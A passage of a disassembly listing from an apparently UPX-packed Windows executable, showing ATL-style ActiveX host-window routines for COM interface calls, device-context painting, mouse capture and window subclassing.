		mov	edi, dword_41D310
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	edi ; dword_41D310
		test	eax, eax
		jz	short loc_403CB9
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		call	edi ; dword_41D310


loc_403CB9:				; CODE XREF: sub_403C55+4Aj
					; sub_403C55+5Bj
		push	esi
		lea	eax, [ebp+var_10]
		call	sub_401867
		pop	edi
		xor	eax, eax
		pop	ebx


loc_403CC6:				; CODE XREF: sub_403C55+13j
		pop	esi
		leave
		retn	8
sub_403C55	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		or	dword ptr [esi+6Ch], 1
		push	edi
		push	0
		push	1
		push	dword ptr [esi+38h]
		call	dword_41D394
		test	byte ptr [esp+14h], 1
		jz	short loc_403D02
		mov	eax, [esi+38h]
		or	dword ptr [esi+6Ch], 8
		mov	ecx, [eax]
		lea	edi, [esi+48h]
		push	edi
		push	offset byte_424334
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jge	short loc_403D17


loc_403D02:				; CODE XREF: UPX0:00403CE7j
		mov	eax, [esi+38h]
		and	dword ptr [esi+6Ch], 0FFFFFFF7h
		mov	ecx, [eax]
		lea	edi, [esi+48h]
		push	edi
		push	offset dword_424324
		push	eax
		call	dword ptr [ecx]


loc_403D17:				; CODE XREF: UPX0:00403D00j
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_403D2B
		mov	ecx, [edi]
		lea	eax, [esi+88h]
		push	eax
		push	eax
		push	edi
		call	dword ptr [ecx+1Ch]


loc_403D2B:				; CODE XREF: UPX0:00403D1Bj
		pop	edi
		xor	eax, eax
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_403D32:				; DATA XREF: UPX0:004240ACo
		mov	eax, [esp+4]
		and	dword ptr [eax+6Ch], 0FFFFFFFEh
		mov	ecx, [eax+48h]
		test	ecx, ecx
		jz	short loc_403D4B
		and	dword ptr [eax+48h], 0
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]


loc_403D4B:				; CODE XREF: UPX0:00403D3Fj
		xor	eax, eax
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_403D50	proc near		; DATA XREF: UPX0:004240B0o
					; UPX0:004240F4o ...
		xor	eax, eax
		retn	4
sub_403D50	endp

; ---------------------------------------------------------------------------


loc_403D55:				; DATA XREF: UPX0:004240B4o
		mov	eax, [esp+4]
		mov	eax, [eax+9Ch]
		not	eax
		and	eax, 1
		retn	4
; ---------------------------------------------------------------------------


loc_403D67:				; DATA XREF: UPX0:004240B8o
		mov	eax, [esp+4]
		mov	eax, [eax+6Ch]
		shr	eax, 4
		not	eax
		and	eax, 1
		retn	4
; ---------------------------------------------------------------------------


loc_403D79:				; DATA XREF: UPX0:004240BCo
		cmp	dword ptr [esp+8], 0
		jz	short loc_403D95
		push	esi
		mov	esi, [esp+8]
		push	dword ptr [esi-28h]
		call	dword_41D32C	; SetCapture
		or	dword ptr [esi+6Ch], 10h
		pop	esi
		jmp	short loc_403DA3
; ---------------------------------------------------------------------------


loc_403D95:				; CODE XREF: UPX0:00403D7Ej
		call	dword_41D28C	; ReleaseCapture
		mov	eax, [esp+4]
		and	dword ptr [eax+6Ch], 0FFFFFFEFh


loc_403DA3:				; CODE XREF: UPX0:00403D93j
		xor	eax, eax
		retn	8
; ---------------------------------------------------------------------------


loc_403DA8:				; DATA XREF: UPX0:004240C0o
		mov	eax, [esp+4]
		mov	eax, [eax+6Ch]
		shr	eax, 5
		not	eax
		and	eax, 1
		retn	4
; ---------------------------------------------------------------------------


loc_403DBA:				; DATA XREF: UPX0:004240C4o
		mov	eax, [esp+4]
		mov	ecx, [esp+8]
		shl	ecx, 5
		xor	ecx, [eax+6Ch]
		and	ecx, 20h
		xor	[eax+6Ch], ecx
		xor	eax, eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DD3	proc near		; DATA XREF: UPX0:004240C8o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jnz	short loc_403DEB
		mov	eax, 80004003h
		jmp	loc_403E9F
; ---------------------------------------------------------------------------


loc_403DEB:				; CODE XREF: sub_403DD3+Cj
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	byte ptr [edi+30h], 0
		jz	short loc_403E04
		push	dword ptr [edi-28h]
		call	dword_41D2DC	; GetDC
		mov	[esi], eax
		test	eax, eax
		jnz	short loc_403E0E


loc_403E04:				; CODE XREF: sub_403DD3+20j
		mov	eax, 80004005h
		jmp	loc_403E9E
; ---------------------------------------------------------------------------


loc_403E0E:				; CODE XREF: sub_403DD3+2Fj
		test	[ebp+arg_8], 1
		mov	byte ptr [edi+30h], 0
		jnz	loc_403E9C
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [edi-28h]
		call	dword_41D34C	; GetClientRect
		test	[ebp+arg_8], 4
		jz	short loc_403E88
		push	ebx
		push	dword ptr [esi]
		call	dword_41D040	; CreateCompatibleDC
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403E87
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi]
		call	dword_41D044	; CreateCompatibleBitmap
		mov	[ebp+arg_C], eax
		test	eax, eax
		jz	short loc_403E70
		push	eax
		push	ebx
		call	dword_41D03C	; SelectObject
		test	eax, eax
		jnz	short loc_403E79
		push	[ebp+arg_C]
		call	dword_41D038	; DeleteObject


loc_403E70:				; CODE XREF: sub_403DD3+86j
		push	ebx
		call	dword_41D02C	; DeleteDC
		jmp	short loc_403E87
; ---------------------------------------------------------------------------


loc_403E79:				; CODE XREF: sub_403DD3+92j
		push	eax
		call	dword_41D038	; DeleteObject
		mov	eax, [esi]
		mov	[edi+2Ch], eax
		mov	[esi], ebx


loc_403E87:				; CODE XREF: sub_403DD3+69j
					; sub_403DD3+A4j
		pop	ebx


loc_403E88:				; CODE XREF: sub_403DD3+5Aj
		test	[ebp+arg_8], 2
		jz	short loc_403E9C
		push	6
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi]
		call	dword_41D324	; FillRect


loc_403E9C:				; CODE XREF: sub_403DD3+43j
					; sub_403DD3+B9j
		xor	eax, eax


loc_403E9E:				; CODE XREF: sub_403DD3+36j
		pop	edi


loc_403E9F:				; CODE XREF: sub_403DD3+13j
		pop	esi
		leave
		retn	10h
sub_403DD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EA4	proc near		; DATA XREF: UPX0:004240CCo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+2Ch], 0
		mov	byte ptr [esi+30h], 1
		jz	short loc_403EFC
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi-28h]
		call	dword_41D34C	; GetClientRect
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_C]
		push	0CC0020h
		push	0
		push	0
		push	[ebp+arg_4]
		push	eax
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	dword ptr [esi+2Ch]
		call	dword_41D028	; BitBlt
		push	[ebp+arg_4]
		call	dword_41D02C	; DeleteDC
		mov	eax, [esi+2Ch]
		jmp	short loc_403EFF
; ---------------------------------------------------------------------------


loc_403EFC:				; CODE XREF: sub_403EA4+12j
		mov	eax, [ebp+arg_4]


loc_403EFF:				; CODE XREF: sub_403EA4+56j
		push	eax
		push	dword ptr [esi-28h]
		call	dword_41D2BC	; ReleaseDC
		xor	eax, eax
		pop	esi
		leave
		retn	8
sub_403EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F10	proc near		; DATA XREF: UPX0:004240D0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		push	dword ptr [eax-28h]
		call	dword_41D2D0	; InvalidateRect
		xor	eax, eax
		retn	0Ch
sub_403F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2A	proc near		; DATA XREF: UPX0:004240D4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		push	dword ptr [eax-28h]
		call	dword_41D340	; InvalidateRgn
		xor	eax, eax
		retn	0Ch
sub_403F2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F44	proc near		; DATA XREF: UPX0:004240D8o
		xor	eax, eax
		retn	14h
sub_403F44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F49	proc near		; DATA XREF: UPX0:004240E0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax-28h]
		push	dword ptr [eax-0Ch]
		call	dword_41D27C	; CallWindowProcW
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		xor	eax, eax
		pop	ebp
		retn	14h
sub_403F49	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F6F	proc near		; DATA XREF: UPX0:004240FCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jnz	short loc_403F7D
		mov	eax, 80004003h
		jmp	short locret_403F92
; ---------------------------------------------------------------------------


loc_403F7D:				; CODE XREF: sub_403F6F+5j
		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+34h]
		mov	ecx, [eax]
		push	offset dword_423C1C
		push	eax
		call	dword ptr [ecx]

locret_403F92:				; CODE XREF: sub_403F6F+Cj
		retn	8
sub_403F6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F95	proc near		; DATA XREF: UPX0:00424108o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		shl	ecx, 5
		xor	ecx, [eax+68h]
		and	ecx, 20h
		xor	[eax+68h], ecx
		xor	eax, eax
		retn	8
sub_403F95	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_403FB7	proc near		; DATA XREF: UPX0:00424120o
		mov	eax, 80004001h
		retn	14h
sub_403FB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403FBF	proc near		; DATA XREF: UPX0:00424124o
		push	0Ch
		mov	eax, offset loc_41C542
		call	sub_40C4A0
		mov	eax, [ebp+10h]
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_403FDE
		mov	eax, 80004003h
		jmp	loc_40405F
; ---------------------------------------------------------------------------


loc_403FDE:				; CODE XREF: sub_403FBF+13j
		push	38h
		mov	[eax], esi
		mov	[ebp-18h], esi
		mov	[ebp-4], esi
		call	sub_40B45F
		pop	ecx
		cmp	eax, esi
		jz	short loc_403FFB
		mov	esi, eax
		call	sub_404FD0
		mov	esi, eax


loc_403FFB:				; CODE XREF: sub_403FBF+31j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_40400E
; ---------------------------------------------------------------------------


loc_404001:				; DATA XREF: UPX0:00427924o
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, offset loc_40400B
		retn
; ---------------------------------------------------------------------------


loc_40400B:				; DATA XREF: sub_403FBF+46o
		mov	esi, [ebp-18h]


loc_40400E:				; CODE XREF: sub_403FBF+40j
		test	esi, esi
		jnz	short loc_404019
		mov	eax, 8007000Eh
		jmp	short loc_40405F
; ---------------------------------------------------------------------------


loc_404019:				; CODE XREF: sub_403FBF+51j
		mov	eax, [ebp+8]
		mov	ecx, [eax+2Ch]
		mov	[ebp-14h], ecx
		lea	ecx, [eax-34h]
		mov	eax, [ecx]
		push	3
		call	dword ptr [eax+10h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		call	sub_406CDA
		mov	edi, eax
		test	edi, edi
		jl	short loc_404054
		push	dword ptr [ebp+10h]
		mov	eax, [esi]
		push	offset dword_41EF34
		push	esi
		call	dword ptr [eax]
		mov	edi, eax
		test	edi, edi
		jge	short loc_40405D


loc_404054:				; CODE XREF: sub_403FBF+80j
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+1Ch]


loc_40405D:				; CODE XREF: sub_403FBF+93j
		mov	eax, edi


loc_40405F:				; CODE XREF: sub_403FBF+1Aj
					; sub_403FBF+58j
		call	sub_40C50C
		retn	0Ch
sub_403FBF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404067	proc near		; DATA XREF: UPX0:00424128o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		shl	ecx, 7
		xor	ecx, [eax+64h]
		and	ecx, 80h
		xor	[eax+64h], ecx
		xor	eax, eax
		retn	8
sub_404067	endp


; =============== S U B	R O U T	I N E =======================================



sub_404083	proc near		; CODE XREF: UPX0:00402AB3p
					; UPX0:00402C75p
		push	18h
		mov	eax, offset loc_41C1DC
		call	sub_40C46D
		mov	ebx, ecx
		mov	esi, [ebp+8]
		test	esi, esi
		jnz	short loc_40409F
		xor	eax, eax
		jmp	loc_40446F
; ---------------------------------------------------------------------------


loc_40409F:				; CODE XREF: sub_404083+13j
		lea	eax, [ebx+60h]
		mov	[ebp-24h], eax
		cmp	[eax], esi
		jz	short loc_4040B4
		mov	edi, esi
		mov	esi, eax
		call	sub_4011B4
		mov	esi, edi


loc_4040B4:				; CODE XREF: sub_404083+24j
		mov	eax, [esi]
		and	dword ptr [ebp-10h], 0
		lea	edi, [ebx+64h]
		push	edi
		push	offset dword_424344
		push	esi
		call	dword ptr [eax]
		mov	eax, [edi]
		test	eax, eax
		jz	loc_404429
		mov	ecx, [eax]
		lea	esi, [ebx+0A0h]
		push	esi
		push	1
		push	eax
		mov	[ebp-20h], esi
		call	dword ptr [ecx+58h]
		test	dword ptr [esi], 20000h
		jz	short loc_404129
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+10h]
		xor	esi, esi
		mov	[ebp-18h], esi
		cmp	eax, esi
		jz	short loc_404108
		mov	ecx, [eax]
		lea	edx, [ebp-18h]
		push	edx
		push	offset dword_423BEC
		push	eax
		call	dword ptr [ecx]


loc_404108:				; CODE XREF: sub_404083+75j
		mov	[ebp-4], esi
		mov	eax, [edi]
		push	dword ptr [ebp-18h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-18h]
		cmp	eax, esi
		jz	short loc_40412B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_40412B
; ---------------------------------------------------------------------------


loc_404129:				; CODE XREF: sub_404083+65j
		xor	esi, esi


loc_40412B:				; CODE XREF: sub_404083+9Cj
					; sub_404083+A4j
		cmp	byte ptr [ebp+0Ch], 0
		jnz	loc_404216
		mov	eax, [edi]
		mov	[ebp+0Ch], esi
		cmp	eax, esi
		jz	short loc_40414C
		mov	ecx, [eax]
		lea	edx, [ebp+0Ch]
		push	edx
		push	offset dword_424284
		push	eax
		call	dword ptr [ecx]


loc_40414C:				; CODE XREF: sub_404083+B9j
		mov	dword ptr [ebp-4], 1
		mov	eax, [ebp+0Ch]
		cmp	eax, esi
		jz	short loc_404173
		mov	ecx, [eax]
		cmp	[ebp+10h], esi
		jz	short loc_40416A
		push	dword ptr [ebp+10h]
		push	eax
		call	dword ptr [ecx+14h]
		jmp	short loc_40416E
; ---------------------------------------------------------------------------


loc_40416A:				; CODE XREF: sub_404083+DCj
		push	eax
		call	dword ptr [ecx+20h]


loc_40416E:				; CODE XREF: sub_404083+E5j
		mov	[ebp-10h], eax
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_404173:				; CODE XREF: sub_404083+D5j
		cmp	[ebp+10h], esi
		jz	loc_404208
		mov	ecx, [edi]
		xor	eax, eax
		mov	[ebp-18h], eax
		cmp	ecx, esi
		jz	short loc_404198
		mov	eax, [ecx]
		lea	edx, [ebp-18h]
		push	edx
		push	offset dword_424274
		push	ecx
		call	dword ptr [eax]
		mov	eax, [ebp-18h]


loc_404198:				; CODE XREF: sub_404083+102j
		mov	byte ptr [ebp-4], 2
		cmp	eax, esi
		jz	short loc_4041AF
		push	dword ptr [ebp+10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	[ebp-10h], eax
		mov	eax, [ebp-18h]


loc_4041AF:				; CODE XREF: sub_404083+11Bj
		mov	byte ptr [ebp-4], 1
		cmp	eax, esi
		jz	short loc_4041BD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4041BD:				; CODE XREF: sub_404083+EEj
					; sub_404083+132j
		cmp	[ebp-10h], esi
		jge	short loc_404205
		mov	ebx, [ebp-20h]
		test	dword ptr [ebx], 20000h
		jz	short loc_4041D6
		mov	eax, [edi]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]


loc_4041D6:				; CODE XREF: sub_404083+148j
		mov	[ebx], esi
		mov	eax, [edi]
		cmp	eax, esi
		jz	short loc_4041E6
		mov	[edi], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4041E6:				; CODE XREF: sub_404083+159j
		mov	ecx, [ebp-24h]
		mov	eax, [ecx]
		cmp	eax, esi
		jz	short loc_4041F7
		mov	[ecx], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4041F7:				; CODE XREF: sub_404083+16Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp+0Ch]
		cmp	eax, esi
		jmp	loc_404464
; ---------------------------------------------------------------------------


loc_404205:				; CODE XREF: sub_404083+13Dj
		mov	eax, [ebp+0Ch]


loc_404208:				; CODE XREF: sub_404083+F3j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, esi
		jz	short loc_404216
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404216:				; CODE XREF: sub_404083+ACj
					; sub_404083+18Bj
		mov	eax, [ebp-20h]
		test	dword ptr [eax], 20000h
		jnz	short loc_404260
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+10h]
		mov	[ebp+0Ch], esi
		cmp	eax, esi
		jz	short loc_40423D
		mov	ecx, [eax]
		lea	edx, [ebp+0Ch]
		push	edx
		push	offset dword_423BEC
		push	eax
		call	dword ptr [ecx]


loc_40423D:				; CODE XREF: sub_404083+1AAj
		mov	dword ptr [ebp-4], 3
		mov	eax, [edi]
		push	dword ptr [ebp+0Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp+0Ch]
		cmp	eax, esi
		jz	short loc_404260
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404260:				; CODE XREF: sub_404083+19Cj
					; sub_404083+1D5j
		mov	eax, [edi]
		mov	[ebx+90h], esi
		mov	ecx, [eax]
		lea	esi, [ebx+70h]
		push	esi
		push	offset dword_424354
		push	eax
		call	dword ptr [ecx]
		mov	[ebp-10h], eax
		test	eax, eax
		jge	short loc_40429D
		mov	eax, [edi]
		mov	ecx, [eax]
		push	esi
		push	offset dword_424364
		push	eax
		call	dword ptr [ecx]
		mov	[ebp-10h], eax
		test	eax, eax
		jl	short loc_4042A9
		mov	dword ptr [ebx+90h], 3
		jmp	short loc_4042C7
; ---------------------------------------------------------------------------


loc_40429D:				; CODE XREF: sub_404083+1F8j
		mov	dword ptr [ebx+90h], 7
		jmp	short loc_4042C7
; ---------------------------------------------------------------------------


loc_4042A9:				; CODE XREF: sub_404083+20Cj
		mov	eax, [edi]
		mov	ecx, [eax]
		push	esi
		push	offset dword_424374
		push	eax
		call	dword ptr [ecx]
		mov	[ebp-10h], eax
		test	eax, eax
		jl	short loc_4042C7
		mov	dword ptr [ebx+90h], 1


loc_4042C7:				; CODE XREF: sub_404083+218j
					; sub_404083+224j ...
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+10h]
		and	dword ptr [ebp-14h], 0
		test	eax, eax
		jz	short loc_4042E4
		mov	ecx, [eax]
		lea	edx, [ebp-14h]
		push	edx
		push	offset dword_423B3C
		push	eax
		call	dword ptr [ecx]


loc_4042E4:				; CODE XREF: sub_404083+251j
		lea	edx, [ebx+9Ch]
		mov	dword ptr [ebp-4], 4
		mov	eax, [edi]
		mov	ecx, [eax]
		push	edx
		push	dword ptr [ebp-14h]
		push	eax
		call	dword ptr [ecx+4Ch]
		mov	esi, [esi]
		test	esi, esi
		jz	short loc_404310
		push	dword ptr [ebp-14h]
		mov	eax, [esi]
		push	0
		push	1
		push	esi
		call	dword ptr [eax+1Ch]


loc_404310:				; CODE XREF: sub_404083+27Ej
		mov	edi, [edi]
		mov	eax, [edi]
		push	0
		push	offset aAxwin	; "AXWIN"
		push	edi
		call	dword ptr [eax+14h]
		test	dword ptr [ebx+0A0h], 400h
		jnz	loc_404415
		lea	esi, [ebx+0B4h]
		push	esi
		push	dword ptr [ebx+4]
		call	dword_41D34C	; GetClientRect
		mov	eax, [ebx+0BCh]
		sub	eax, [esi]
		lea	edi, [ebx+0ACh]
		mov	[edi], eax
		mov	eax, [ebx+0C0h]
		sub	eax, [ebx+0B8h]
		lea	esi, [ebx+0A4h]
		mov	[ebx+0B0h], eax
		call	sub_404933
		mov	eax, [ebx+64h]
		mov	ecx, [eax]
		lea	edi, [ebx+0A4h]
		push	edi
		push	1
		push	eax
		call	dword ptr [ecx+44h]
		mov	eax, [ebx+64h]
		mov	ecx, [eax]
		push	edi
		push	1
		push	eax
		call	dword ptr [ecx+48h]
		lea	esi, [ebx+0ACh]
		call	sub_4048CA
		mov	eax, [ebx+0ACh]
		lea	esi, [ebx+0B4h]
		add	eax, [esi]
		mov	ecx, ebx
		mov	[ebx+0BCh], eax
		mov	eax, [ebx+0B0h]
		add	eax, [ebx+0B8h]
		mov	[ebx+0C0h], eax
		mov	eax, [ebx]
		call	dword ptr [eax+10h]
		xor	edi, edi
		mov	[ebp+10h], edi
		cmp	eax, edi
		jz	short loc_4043D9
		mov	ecx, [eax]
		lea	edx, [ebp+10h]
		push	edx
		push	offset dword_423BEC
		push	eax
		call	dword ptr [ecx]


loc_4043D9:				; CODE XREF: sub_404083+346j
		push	esi
		mov	byte ptr [ebp-4], 5
		push	dword ptr [ebx+4]
		mov	eax, [ebx+64h]
		mov	ecx, [eax]
		push	edi
		push	dword ptr [ebp+10h]
		push	edi
		push	0FFFFFFFBh
		push	eax
		call	dword ptr [ecx+2Ch]
		push	507h
		push	edi
		push	edi
		push	dword ptr [ebx+4]
		mov	[ebp-10h], eax
		call	dword_41D2B0	; RedrawWindow
		mov	byte ptr [ebp-4], 4
		mov	eax, [ebp+10h]
		cmp	eax, edi
		jz	short loc_404415
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404415:				; CODE XREF: sub_404083+2A6j
					; sub_404083+38Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-14h]
		test	eax, eax
		jz	short loc_404426
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404426:				; CODE XREF: sub_404083+39Bj
		mov	esi, [ebp+8]


loc_404429:				; CODE XREF: sub_404083+47j
		and	dword ptr [ebp-1Ch], 0
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	offset dword_423B8C
		mov	dword ptr [ebp-4], 6
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax]
		mov	eax, [ebp-1Ch]
		test	eax, eax
		jz	short loc_40445E
		mov	edi, [eax]
		mov	esi, eax
		mov	eax, [ebx]
		mov	ecx, ebx
		add	edi, 0Ch
		call	dword ptr [eax+10h]
		push	eax
		push	esi
		call	dword ptr [edi]
		mov	eax, [ebp-1Ch]


loc_40445E:				; CODE XREF: sub_404083+3C4j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	eax, eax


loc_404464:				; CODE XREF: sub_404083+17Dj
		jz	short loc_40446C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40446C:				; CODE XREF: sub_404083:loc_404464j
		mov	eax, [ebp-10h]


loc_40446F:				; CODE XREF: sub_404083+17j
		call	sub_40C50C
		retn	0Ch
sub_404083	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404477	proc near		; CODE XREF: UPX0:00402A9Fp
					; UPX0:00402C14p
		mov	eax, [esi]
		push	edi
		push	esi
		mov	ecx, esi
		call	dword ptr [eax+8]
		lea	edi, [esi+8]
		call	sub_4018DB
		pop	edi
		test	eax, eax
		jnz	short loc_404491


loc_40448D:				; CODE XREF: sub_404477+28j
		xor	eax, eax
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_404491:				; CODE XREF: sub_404477+14j
		push	dword ptr [esi+14h]
		push	0FFFFFFFCh
		push	ebx
		call	dword_41D2B4	; SetWindowLongW
		test	eax, eax
		jz	short loc_40448D
		mov	[esi+20h], eax
		xor	eax, eax
		mov	[esi+4], ebx
		inc	eax


loc_4044AA:				; CODE XREF: sub_404477+18j
		lea	ecx, [esi+0C8h]
		shl	eax, 4
		xor	eax, [ecx]
		and	eax, 10h
		xor	[ecx], eax
		retn
sub_404477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BB	proc near		; CODE XREF: UPX0:00402A83p
					; UPX0:00402ADFp ...
		test	byte ptr [esi+0C8h], 10h
		jz	short loc_4044FE
		push	0FFFFFFFCh
		push	dword ptr [esi+4]
		call	dword_41D2CC	; GetWindowLongW
		mov	eax, [esi+20h]
		mov	ecx, [esi+4]
		push	eax
		push	0FFFFFFFCh
		push	ecx
		call	dword_41D2B4	; SetWindowLongW
		test	eax, eax
		jz	short locret_404507
		mov	eax, dword_41D278
		mov	[esi+20h], eax
		mov	eax, [esi+4]
		and	dword ptr [esi+4], 0
		test	eax, eax
		jz	short locret_404507
		and	dword ptr [esi+0C8h], 0FFFFFFEFh
		retn
; ---------------------------------------------------------------------------


loc_4044FE:				; CODE XREF: sub_4044BB+7j
		push	dword ptr [esi+4]
		call	dword_41D304	; DestroyWindow

locret_404507:				; CODE XREF: sub_4044BB+26j
					; sub_4044BB+39j
		retn
sub_4044BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404508	proc near		; CODE XREF: sub_402032+3CCp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		cmp	ebx, 4Eh
		ja	short loc_404575
		jz	short loc_404571
		cmp	ebx, 2Bh
		jz	short loc_40455A
		cmp	ebx, 2Ch
		jz	short loc_40454C
		cmp	ebx, 2Dh
		jz	short loc_404544
		jbe	loc_4045E7
		cmp	ebx, 2Fh
		jbe	loc_4045E1
		cmp	ebx, 39h
		jnz	loc_4045E7
		mov	eax, [esi+8]
		jmp	loc_4045E3
; ---------------------------------------------------------------------------


loc_404544:				; CODE XREF: sub_404508+1Aj
		mov	eax, [esi+0Ch]
		jmp	loc_4045E3
; ---------------------------------------------------------------------------


loc_40454C:				; CODE XREF: sub_404508+15j
		cmp	dword ptr [esi], 1
		jz	loc_4045E7
		push	dword ptr [esi+4]
		jmp	short loc_4045D2
; ---------------------------------------------------------------------------


loc_40455A:				; CODE XREF: sub_404508+10j
		cmp	dword ptr [esi], 1
		jnz	short loc_40456C
		push	dword ptr [esi+14h]
		call	dword_41D294	; IsWindow
		test	eax, eax
		jz	short loc_4045E7


loc_40456C:				; CODE XREF: sub_404508+55j
		mov	eax, [esi+14h]
		jmp	short loc_4045E3
; ---------------------------------------------------------------------------


loc_404571:				; CODE XREF: sub_404508+Bj
		mov	eax, [esi]
		jmp	short loc_4045E3
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_404508+9j
		cmp	ebx, 111h
		jz	short loc_4045DD
		cmp	ebx, 113h
		jbe	short loc_4045E7
		cmp	ebx, 115h
		jbe	short loc_4045E1
		cmp	ebx, 131h
		jbe	short loc_4045E7
		cmp	ebx, 138h
		jbe	short loc_4045E1
		cmp	ebx, 210h
		jnz	short loc_4045E7
		mov	eax, [edi+18h]
		test	eax, eax
		jz	short loc_4045C1
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [edi+4]
		push	dword ptr [edi+20h]
